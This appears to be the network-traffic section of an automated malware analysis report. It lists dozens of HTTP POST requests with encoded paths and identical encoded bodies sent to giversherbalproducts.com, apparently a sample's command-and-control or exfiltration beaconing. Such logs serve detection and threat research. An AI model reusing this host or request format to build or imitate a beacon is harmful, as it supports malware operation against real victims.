Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ISh+fnkfGH40HCgAegh7HSAtPik8JwRFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Kn0kJQQ+GyccJwALHwh7DAc4BwFCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DDMnAxgYGi8nBgg/Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/A30cKiZ6MCx5FgQ8PxokOSQxPz8sJAA1RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HSgvFB0EKX08IDIsQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Pw8fHCYeOiMoNy54GC89KSIxNCkxehgYCBl5OEV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GSseOwYaIEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ewIzLz06CRoBPB0fE3glDX0RFQEZQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Dz4IBiUTPUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LyUdeRZ/LBIcJBgvDCY3JBIhDQgzPgJ0RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/enM9IQwRA3IVFR54eCAGKHsDfQUyAiojFgcCQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fhooFAMiKTgfBjwOKQgcQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BSwxP3sjIx16KhIIGgouAXJ6KTYfJHglHAoHQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HT8tDxc/fwUbNR0jOyI7KggqOykYHUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OX4ZfwIJDCF0ORk4Oho3BwsENXZyL0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eB4/OR4beD98DhsnIwV/ODMlJT8eAUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ex5+Li0pPAMVCkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eAQkHAV+eTMNKy0fMy8fPnwaeUZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Mg8cPX4lcjsFBHgzcxwqKR4gDR0dEBl8C0J7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AQh6RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ixo9RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eTAldSQqE38hADgEe38beDBCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JxgCCAEsAyobRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/D38DRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IzsuOSpCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KhMvezsNORl8CT0dCAg1e3wyI3skOjMDBHN+LUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DQwoRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Kn0kJQQ+GyccJwALHwh7DAc4BwFCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CiJ+RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/A30cKiZ6MCx5FgQ8PxokOSQxPz8sJAA1RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSwKHCEePnoqInogJCEWOgYGIEZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Pw8fHCYeOiMoNy54GC89KSIxNCkxehgYCBl5OEV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Oi16fH4YfQMcJQZyJBgfGTh7RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ewIzLz06CRoBPB0fE3glDX0RFQEZQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fQwKNjgxCw4CCwwAHSF2IAwyKAAdHDpFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LyUdeRZ/LBIcJBgvDCY3JBIhDQgzPgJ0RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/enM9IQwRA3IVFR54eCAGKHsDfQUyAiojFgcCQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fjgFdD9+BXw8eR4HJ0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BSwxP3sjIx16KhIIGgouAXJ6KTYfJHglHAoHQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
